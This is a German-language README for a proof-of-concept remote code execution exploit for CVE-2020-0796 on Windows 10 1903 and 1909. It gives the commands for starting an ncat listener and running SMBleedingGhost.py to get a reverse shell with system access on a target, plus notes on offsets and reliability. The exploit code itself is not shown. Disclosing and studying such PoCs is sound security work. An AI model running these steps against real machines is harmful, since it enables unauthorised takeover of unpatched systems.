
Remote-Codeausführung PoC für CVE-2020-0796
Stellen Sie sicher, dass Python und ncat installiert sind.
Führen Sie calc_target_offsets.bat auf dem Zielcomputer aus und passen Sie die Offsets am Anfang der Datei SMBleedingGhost.py entsprechend der Skriptausgabe an (siehe auch den Hinweis unten).
Führen Sie ncat mit den folgenden Befehlszeilenargumenten aus:
ncat -lvp <port>
Wobei <port> die Portnummer ist, auf der ncat lauschen wird.
Führen Sie SMBleedingGhost.py mit den folgenden Befehlszeilenargumenten aus:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Wobei <target_ip> die IP-Adresse des verwundbaren Zielcomputers ist. <reverse_shell_ip> und <reverse_shell_port> sind die IP-Adresse und die Portnummer, auf denen lauscht.
Wenn alles gut läuft, zeigt ncat eine Shell an, die Systemzugriff auf den Zielcomputer bietet.
Hinweis: Sie fragen sich vielleicht, warum es notwendig ist, das Skript calc_target_offsets.bat auf dem Zielcomputer auszuführen, und ob das nicht den ganzen Zweck der Remote-Codeausführung zunichte macht. Diese Offsets sind nicht zufällig und sind bei allen Windows-Instanzen derselben Windows-Version gleich. Man könnte den Angriff universeller machen, indem man die Windows-Version des Ziels erkennt und die Offsets automatisch anpasst, oder indem man ganz auf sie verzichtet, aber es ist nur ein POC und wir haben das Einfachere getan. Wir sehen es auch als gute Sache an, dass der POC nicht universell ist und für andere Zwecke als Tests und Bildung nicht geeignet ist.

Windows 10 Versionen 1903 und 1909 sind betroffen. Nicht gepatchte Windows 10 1903 Versionen werden aufgrund eines Null-Dereferenz-Fehlers in Windows (behoben in KB4512941) nicht unterstützt.
Aufgrund der Art der Ausnutzung funktioniert der POC am besten für Ziele, die auf einem Computer (oder einer VM) mit einem einzelnen logischen Prozessor laufen. Ziele mit mehr als einem logischen Prozessor, die in VirtualBox laufen, sollten ebenfalls unterstützt werden, aber in diesem Fall ist der POC weniger zuverlässig. Andere Ziele werden möglicherweise nicht unterstützt. Details finden Sie in unserem technischen Bericht unten.